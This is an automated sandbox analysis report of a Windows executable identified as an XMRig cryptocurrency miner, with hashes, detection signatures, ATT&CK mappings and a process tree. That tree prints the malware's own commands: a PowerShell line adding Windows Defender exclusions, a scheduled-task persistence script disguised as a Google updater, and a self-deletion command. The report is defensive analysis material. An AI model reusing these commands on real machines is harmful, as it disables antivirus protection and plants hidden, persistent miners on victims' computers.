xmrig | 165a0de3cbb54178e47215a0ad412c91f1cbbcefc3c3d35d8124c5972d1c1950

max time kernel
450s
max time network
1786s
platform
windows7_x64
resource
win7-20231129-en
resource tags

arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
submitted
23/01/2024, 19:27

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General

Target
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Size 2.0MB
Sample240123-x591qagbd7
SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
MD5 a16a669a09bf158058b83e04e69fe38e
SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xmrig miner upx

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs

description	pid	Process	procid_target
PID 1652 created 1312	1652	3JynzWc6LxNCT2y8.exe	10
PID 1652 created 1312	1652	3JynzWc6LxNCT2y8.exe	10
PID 1652 created 1312	1652	3JynzWc6LxNCT2y8.exe	10
PID 1652 created 1312	1652	3JynzWc6LxNCT2y8.exe	10
PID 1128 created 1312	1128	updater.exe	10
PID 1128 created 1312	1128	updater.exe	10
PID 1128 created 1312	1128	updater.exe	10
PID 1128 created 1312	1128	updater.exe	10
PID 2008 created 1312	2008	conhost.exe	10
PID 1128 created 1312	1128	updater.exe	10

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 30 IoCs

miner

resource	yara_rule
behavioral1/memory/1868-70-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-72-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-73-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-77-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-79-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-81-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-83-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-85-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-87-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-89-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-91-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-93-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-95-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-97-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-99-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-101-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-103-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-105-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-107-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-109-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-111-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-113-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-115-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-117-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-119-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-121-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-123-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-125-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-127-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig
behavioral1/memory/1868-129-0x0000000140000000-0x00000001407F4000-memory.dmp	xmrig

Deletes itself 1 IoCs

pid	Process
1568	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
1128	updater.exe

Loads dropped DLL 1 IoCs

pid	Process
2532	taskeng.exe

UPX packed file 31 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1868-66-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-70-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-72-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-73-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-77-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-79-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-81-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-83-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-85-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-87-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-89-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-91-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-93-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-95-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-97-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-99-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-101-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-103-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-105-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-107-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-109-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-111-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-113-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-115-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-117-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-119-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-121-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-123-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-125-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-127-0x0000000140000000-0x00000001407F4000-memory.dmp	upx
behavioral1/memory/1868-129-0x0000000140000000-0x00000001407F4000-memory.dmp	upx

Drops file in System32 directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 2 IoCs

description	pid	Process	procid_target
PID 1128 set thread context of 2008	1128	updater.exe	52
PID 1128 set thread context of 1868	1128	updater.exe	47

Drops file in Program Files directory 4 IoCs

description	ioc	Process
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Libs\g.log	cmd.exe
File created	C:\Program Files\Google\Chrome\updater.exe	3JynzWc6LxNCT2y8.exe
File created	C:\Program Files\Google\Libs\WR64.sys	updater.exe

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2728	schtasks.exe
2836	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1112	WMIC.exe

Modifies data under HKEY_USERS 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 0043bcb9b64fda01	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Suspicious behavior: EnumeratesProcesses 25 IoCs

pid	Process
1652	3JynzWc6LxNCT2y8.exe
1652	3JynzWc6LxNCT2y8.exe
2064	powershell.exe
1652	3JynzWc6LxNCT2y8.exe
1652	3JynzWc6LxNCT2y8.exe
2600	powershell.exe
1652	3JynzWc6LxNCT2y8.exe
1652	3JynzWc6LxNCT2y8.exe
1652	3JynzWc6LxNCT2y8.exe
1652	3JynzWc6LxNCT2y8.exe
2576	powershell.exe
1128	updater.exe
1128	updater.exe
1932	powershell.exe
1128	updater.exe
1128	updater.exe
1656	powershell.exe
1128	updater.exe
1128	updater.exe
1128	updater.exe
1128	updater.exe
2008	conhost.exe
2008	conhost.exe
1128	updater.exe
1128	updater.exe

Suspicious use of AdjustPrivilegeToken 31 IoCs

description	pid	Process
Token: SeDebugPrivilege	2064	powershell.exe
Token: SeDebugPrivilege	2600	powershell.exe
Token: SeDebugPrivilege	2576	powershell.exe
Token: SeDebugPrivilege	1932	powershell.exe
Token: SeDebugPrivilege	1656	powershell.exe
Token: SeDebugPrivilege	1128	updater.exe
Token: SeAssignPrimaryTokenPrivilege	1112	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1112	WMIC.exe
Token: SeSecurityPrivilege	1112	WMIC.exe
Token: SeTakeOwnershipPrivilege	1112	WMIC.exe
Token: SeLoadDriverPrivilege	1112	WMIC.exe
Token: SeSystemtimePrivilege	1112	WMIC.exe
Token: SeBackupPrivilege	1112	WMIC.exe
Token: SeRestorePrivilege	1112	WMIC.exe
Token: SeShutdownPrivilege	1112	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1112	WMIC.exe
Token: SeUndockPrivilege	1112	WMIC.exe
Token: SeManageVolumePrivilege	1112	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1112	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1112	WMIC.exe
Token: SeSecurityPrivilege	1112	WMIC.exe
Token: SeTakeOwnershipPrivilege	1112	WMIC.exe
Token: SeLoadDriverPrivilege	1112	WMIC.exe
Token: SeSystemtimePrivilege	1112	WMIC.exe
Token: SeBackupPrivilege	1112	WMIC.exe
Token: SeRestorePrivilege	1112	WMIC.exe
Token: SeShutdownPrivilege	1112	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1112	WMIC.exe
Token: SeUndockPrivilege	1112	WMIC.exe
Token: SeManageVolumePrivilege	1112	WMIC.exe
Token: SeLockMemoryPrivilege	1868	conhost.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 2600 wrote to memory of 2728	2600	powershell.exe	32
PID 2600 wrote to memory of 2728	2600	powershell.exe	32
PID 2600 wrote to memory of 2728	2600	powershell.exe	32
PID 1568 wrote to memory of 2628	1568	cmd.exe	33
PID 1568 wrote to memory of 2628	1568	cmd.exe	33
PID 1568 wrote to memory of 2628	1568	cmd.exe	33
PID 2576 wrote to memory of 2476	2576	powershell.exe	40
PID 2576 wrote to memory of 2476	2576	powershell.exe	40
PID 2576 wrote to memory of 2476	2576	powershell.exe	40
PID 2532 wrote to memory of 1128	2532	taskeng.exe	38
PID 2532 wrote to memory of 1128	2532	taskeng.exe	38
PID 2532 wrote to memory of 1128	2532	taskeng.exe	38
PID 1656 wrote to memory of 2836	1656	powershell.exe	53
PID 1656 wrote to memory of 2836	1656	powershell.exe	53
PID 1656 wrote to memory of 2836	1656	powershell.exe	53
PID 1128 wrote to memory of 2008	1128	updater.exe	52
PID 1104 wrote to memory of 1112	1104	cmd.exe	46
PID 1104 wrote to memory of 1112	1104	cmd.exe	46
PID 1104 wrote to memory of 1112	1104	cmd.exe	46
PID 1128 wrote to memory of 1868	1128	updater.exe	47

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1312
- C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe
  "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in Program Files directory
  - Suspicious behavior: EnumeratesProcesses
  PID:1652
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2064
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2600
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2728
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\3JynzWc6LxNCT2y8.exe"
  2⤵
  - Deletes itself
  - Suspicious use of WriteProcessMemory
  PID:1568
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2576
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
    3⤵
    PID:2476
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1932
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1656
- - C:\Windows\system32\schtasks.exe
    "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
    3⤵
    - Creates scheduled task(s)
    PID:2836
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1868
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  - Suspicious use of WriteProcessMemory
  PID:1104
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
  2⤵
  - Drops file in Program Files directory
  PID:2932
- C:\Windows\System32\conhost.exe
  C:\Windows\System32\conhost.exe qtdiqnkejoz
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Suspicious behavior: EnumeratesProcesses
  PID:2008

C:\Windows\System32\choice.exe
choice /C Y /N /D Y /T 3
1⤵
PID:2628

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1128

C:\Windows\system32\taskeng.exe
taskeng.exe {94E3E1E1-FC98-4117-B797-F9608E7FC94A} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2532

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:1112

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 362KB
SHA256 dfa408ce57e4ab79fc13d9bc744c0b7ec9843dea5858ece939bbdad5178c0afd
MD5 d95b4492185cbac32f35a4bf9c9813b5
SHA1 f92764cfa0029215d3e460a9240d8b71c1a5db60
SHA512 7e947f98365d4c0b8a138a8b71e2a4c49a5a741ba6df9e21bb44c2607747cf51cf5974386858d7f622df90faa09ed95f922231c6bfbb85b1ff09c32bc67ca438
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx73kb5T3FeFwH8w1mJ:rWVi46hyqG2ckwLxgajd0mAVwb5T3dn2
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path C:\Program Files\Google\Chrome\updater.exe
Size 232KB
SHA256 089edbf969c911e4ea227bcd461c5358f07f552740e3eea7674e7e64ee8f1bdd
MD5 e190a95930746bb385130e2ee0a60c8f
SHA1 53ec351f83ec3f26e80b643f57af5a1d21e33859
SHA512 ef2c9d8bf3b3e0b9ec63239ca917bdf07f6283e11371e746610470625601ffa48c30b7a4f378a0512a80bf8f32f0234a3398c4ce23151cae40e1d555812867e7
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLJ:rWVi46hyqG2ckwLxgajd0mAt
MD5 SHA1 SHA512 SSDEEP

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g.log

Path C:\Program Files\Google\Libs\g.log
Size 198B
SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
MD5 37dd19b2be4fa7635ad6a2f3238c4af1
SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
MD5 SHA1 SHA512

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3DUSN8U3L3Z79BMAFXDT.temp

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\3DUSN8U3L3Z79BMAFXDT.temp
Size 7KB
SHA256 0b8d9b7e409deb78688d436bc20b6e2f1eb565cda4fea3260ea78f2f58ec6920
MD5 d14ff59a657f6d0d4ffc5ef804b222ad
SHA1 08d231aa7de96055bb715808d34364f317c72221
SHA512 81862f71ee3a5a7eed7a356371eaaa08d29c8a4a81cff748983afcd590a96a834b24d8c7179d84b5918b57bd80acb98207f04a0b33fc30c4a91420210d98d74d
SSDEEP 96:85aCNM8wnqvsqvJCwoGf/5aCNM8wnqvsEHyqvJCwor8fMl0QQHDj7SOXlUV9:kvMUoGfxvMAHnor8fMFuj7SOC
MD5 SHA1 SHA512 SSDEEP

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updater.exe

Path \Program Files\Google\Chrome\updater.exe
Size 370KB
SHA256 228dd8c47a98ced74a2db16965fdc021c689693512959ec81a93535c190ebc09
MD5 eee0124296870595acda474e1b9bc84e
SHA1 8e0d7871b64e14af58fd37929f02fcbe5b4e6a4b
SHA512 e8ac7f755da8f895498ccfcefea6bf2c0ba38e7e4aae81e1c0bca6d1f5e76120088233a5431e67e25b1db58cc8976d3854c6c299fae86a45dee1fff18630843a
SSDEEP 6144:L3zjTg6uUuViDX5Q6k6hyqsD238zkU0yLbRfgajd0m8keLx73kb5T3FeFwH8w1mV:rWVi46hyqG2ckwLxgajd0mAVwb5T3dnO
MD5 SHA1 SHA512 SSDEEP

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memory/1128-43-0x000000013FC30000-0x000000013FE41000-memory.dmp

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memory/1128-64-0x000000013FC30000-0x000000013FE41000-memory.dmp

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memory/1652-0-0x000000013FBF0000-0x000000013FE01000-memory.dmp

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memory/1652-27-0x000000013FBF0000-0x000000013FE01000-memory.dmp

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memory/1656-55-0x00000000013D0000-0x0000000001450000-memory.dmp

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memory/1656-56-0x00000000013D0000-0x0000000001450000-memory.dmp

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memory/1656-52-0x00000000013D0000-0x0000000001450000-memory.dmp

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memory/1656-51-0x000007FEF5BA0000-0x000007FEF653D000-memory.dmp

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memory/1656-57-0x000007FEF5BA0000-0x000007FEF653D000-memory.dmp

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memory/1656-54-0x00000000013D0000-0x0000000001450000-memory.dmp

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memory/1656-53-0x000007FEF5BA0000-0x000007FEF653D000-memory.dmp

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memory/1868-89-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-93-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-129-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-127-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-125-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-123-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-121-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-119-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-117-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-115-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-113-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-111-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-109-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-107-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-105-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-103-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-101-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-99-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-97-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-95-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-91-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-87-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-85-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-83-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-81-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-79-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-66-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-65-0x00000000000B0000-0x00000000000D0000-memory.dmp

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memory/1868-77-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-74-0x0000000000120000-0x0000000000140000-memory.dmp

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memory/1868-75-0x0000000000290000-0x00000000002B0000-memory.dmp

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memory/1868-73-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-68-0x0000000000290000-0x00000000002B0000-memory.dmp

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memory/1868-67-0x0000000000120000-0x0000000000140000-memory.dmp

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memory/1868-72-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1868-70-0x0000000140000000-0x00000001407F4000-memory.dmp

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memory/1932-46-0x000007FEF5200000-0x000007FEF5B9D000-memory.dmp

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memory/1932-50-0x000007FEF5200000-0x000007FEF5B9D000-memory.dmp

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memory/1932-49-0x0000000001270000-0x00000000012F0000-memory.dmp

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memory/1932-47-0x0000000001274000-0x0000000001277000-memory.dmp

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memory/1932-48-0x0000000001270000-0x00000000012F0000-memory.dmp

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memory/1932-45-0x0000000001270000-0x00000000012F0000-memory.dmp

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memory/1932-44-0x000007FEF5200000-0x000007FEF5B9D000-memory.dmp

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memory/2008-69-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/2008-76-0x0000000140000000-0x0000000140016000-memory.dmp

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memory/2064-11-0x000007FEF5BA0000-0x000007FEF653D000-memory.dmp

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memory/2064-10-0x0000000002C60000-0x0000000002CE0000-memory.dmp

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memory/2064-5-0x000000001B6D0000-0x000000001B9B2000-memory.dmp

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memory/2064-9-0x000007FEF5BA0000-0x000007FEF653D000-memory.dmp

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memory/2064-8-0x0000000002C60000-0x0000000002CE0000-memory.dmp

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memory/2064-7-0x000007FEF5BA0000-0x000007FEF653D000-memory.dmp

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memory/2064-6-0x0000000001E30000-0x0000000001E38000-memory.dmp

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memory/2576-37-0x0000000002970000-0x00000000029F0000-memory.dmp

